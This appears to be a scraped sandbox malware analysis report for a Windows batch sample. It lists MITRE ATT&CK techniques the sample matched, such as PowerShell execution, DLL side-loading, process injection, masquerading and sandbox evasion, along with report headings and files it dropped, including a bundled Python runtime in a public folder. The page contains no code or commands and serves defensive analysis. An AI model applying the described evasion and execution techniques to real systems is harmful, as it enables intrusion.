Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hnghksdjfhs19De.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Document.zip

C:\Users\Public\Document\LICENSE.txt

C:\Users\Public\Document\NEWS.txt

C:\Users\Public\Document\python.exe

C:\Users\Public\Document\python3.dll

C:\Users\Public\Document\python312.dll

C:\Users\Public\Document\pythonw.exe

C:\Users\Public\Document\vcruntime140.dll

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_113yro31.kwy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3irhgmty.j1v.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vtybpjb.zkz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1xxxajk.0cc.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_arjezrm2.4x5.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_burec4oc.s0d.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e3i2wbsd.r1j.psm1

Windows Analysis Report
hnghksdjfhs19De.bat